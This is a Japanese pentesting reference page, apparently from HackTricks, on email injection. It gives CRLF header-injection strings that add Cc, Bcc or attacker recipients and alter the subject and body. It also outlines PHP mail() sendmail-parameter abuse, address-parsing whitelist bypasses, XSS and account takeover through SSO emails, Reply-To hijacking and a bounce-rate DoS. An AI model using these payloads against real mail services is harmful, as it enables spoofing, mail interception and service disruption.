# メールインジェクション
\
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で**最も進んだ**コミュニティツールを駆使した**ワークフローを簡単に構築し、自動化**します。\
今すぐアクセス:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
htARTE (HackTricks AWS Red Team Expert)で AWSハッキングをゼロからヒーローに学ぶ!
HackTricksをサポートする他の方法:
* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見する、私たちの独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクション
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**テレグラムグループ**](https://t.me/peass)に**参加する**、または**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォローする**。
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングテクニックを**共有する**。
## 送信されたメールにインジェクションする
### 送信者引数の後にCcとBccをインジェクトする
```
From:sender@domain.com%0ACc:recipient@domain.co,%0ABcc:recipient1@domain.com
```
メッセージは、受信者とrecipient1アカウントに送信されます。
### Inject argument
```
From:sender@domain.com%0ATo:attacker@domain.com
```
メッセージは元の受信者と攻撃者のアカウントに送信されます。
### 件名引数を注入する
```
From:sender@domain.com%0ASubject:This is%20Fake%20Subject
```
以下の偽の件名は元の件名に追加される場合もあれば、それに置き換わる場合もあります。これはメールサービスの挙動に依存します。
### メッセージ本文の変更
2行のフィードを挿入し、その後にあなたのメッセージを書いてメッセージ本文を変更します。
```
From:sender@domain.com%0A%0AMy%20New%20%0Fake%20Message.
```
### PHP mail()関数の悪用
```bash
# The function has the following definition:
php --rf mail
Function [ function mail ] {
- Parameters [5] {
Parameter #0 [ $to ]
Parameter #1 [ $subject ]
Parameter #2 [ $message ]
Parameter #3 [ $additional_headers ]
Parameter #4 [ $additional_parameters ]
}
}
```
#### 5番目のパラメータ ($additional\_parameters)
このセクションでは、**攻撃者がこのパラメータを制御していると仮定して、このパラメータの悪用方法**について説明します。
このパラメータは、PHPがsendmailバイナリを呼び出すために使用するコマンドラインに追加されます。ただし、`escapeshellcmd($additional_parameters)`関数でサニタイズされます。
攻撃者は、この場合に**sendmailに追加パラメータを注入**することができます。
#### /usr/sbin/sendmailの実装の違い
**sendmail**インターフェースは、システムにインストールされているMTAメールソフトウェア(Sendmail、Postfix、Eximなど)によって**提供されます**。互換性のために**基本機能**(-t -i -fパラメータなど)は**同じ**ですが、**他の機能とパラメータ**はインストールされているMTAによって大きく異なります。
以下は、sendmailコマンド/インターフェースの異なるmanページの例です:
* Sendmail MTA: http://www.sendmail.org/\~ca/email/man/sendmail.html
* Postfix MTA: http://www.postfix.org/mailq.1.html
* Exim MTA: https://linux.die.net/man/8/exim
sendmailバイナリの**起源によって**、それらを悪用して**ファイルを漏洩させたり、任意のコマンドを実行する**ための異なるオプションが発見されています。方法は[**https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html**](https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html)で確認してください。
## メール名に注入する
### 無視されるメールの一部
シンボル:**+、-**および**{}**は、稀にタグ付けに使用され、ほとんどのメールサーバーによって無視されます
* 例:john.doe+intigriti@example.com → john.doe@example.com
**括弧()内のコメント**も、始めや終わりにある場合は無視されます
* 例:john.doe(intigriti)@example.com → john.doe@example.com
### ホワイトリストバイパス
### 引用符
### IPアドレス
角括弧で囲まれたドメイン名としてIPアドレスも使用できます:
* john.doe@\[127.0.0.1]
* john.doe@\[IPv6:2001:db8::1]
### その他の脆弱性
![](<../.gitbook/assets/image (296).png>)
## サードパーティSSO
### XSS
**github**や**salesforce**のようなサービスでは、**XSSペイロードを含むメールアドレスを作成**することができます。これらのプロバイダーを使用して他のサービスにログインでき、そのサービスがメールを正しくサニタイズしていない場合、**XSS**を引き起こす可能性があります。
### アカウント乗っ取り
**SSOサービス**が与えられたメールアドレスの検証なしにアカウントを作成できる場合(**salesforce**のように)、そのアカウントを使用してsalesforceを**信頼する**別のサービスにログインできる場合、任意のアカウントにアクセスできます。\
_salesforceは与えられたメールが検証されたかどうかを示しますが、アプリケーションはこの情報を考慮する必要があります。_
## Reply-To
_**From: company.com**_と_**Replay-To: attacker.com**_を使用してメールを送信すると、メールが**内部アドレス**から送信されたために**自動返信**が送られる場合、**攻撃者**がその**返信**を**受け取る**可能性があります。
## ハードバウンス率
AWSのようなアプリケーションには**ハードバウンス率**(AWSでは10%)があり、これが超過するとメールサービスがブロックされます。
**ハードバウンス**は、何らかの恒久的な理由で配信できなかった**メール**です。たとえば、**メール**が偽のアドレスであるか、**メール**ドメインが実際のドメインではないか、**メール**受信者のサーバーが**メール**を受け入れない場合です。つまり、1000通のメールのうち100通が偽物であったり無効であったりしてすべてがバウンスした場合、**AWS SES**はあなたのサービスをブロックします。
したがって、ウェブアプリケーションから任意のメールアドレスにメール(招待状など)を送信できる場合、存在しないユーザーやドメインに何百もの招待状を送信することで、このブロックを引き起こすことができます:メールサービスDoS。
## 参考文献
* [https://resources.infosecinstitute.com/email-injection/](https://resources.infosecinstitute.com/email-injection/)
* [https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html](https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html)
* [https://drive.google.com/file/d/1iKL6wbp3yYwOmxEtAg1jEmuOf8RM8ty9/view](https://drive.google.com/file/d/1iKL6wbp3yYwOmxEtAg1jEmuOf8RM8ty9/view)
* [https://www.youtube.com/watch?app=desktop\&v=4ZsTKvfP1g0](https://www.youtube.com/watch?app=desktop\&v=4ZsTKvfP1g0)
AWSハッキングをゼロからヒーローまで学ぶには htARTE (HackTricks AWS Red Team Expert)をご覧ください!
HackTricksをサポートする他の方法:
* **HackTricksに広告を掲載したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手してください。
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見してください。私たちの独占的な[**NFTコレクション**](https://opensea.io/collection/the-peass-family)です。
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**テレグラムグループ**](https://t.me/peass)に**参加する**か、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)で**フォロー**してください。
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを**共有**してください。
\
世界で最も進んだコミュニティツールを駆使して**ワークフローを簡単に構築し自動化**するために[**Trickest**](https://trickest.com/?utm_campaign=hacktrics\&utm_medium=banner\&utm_source=hacktricks)を使用してください。\
今すぐアクセス:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}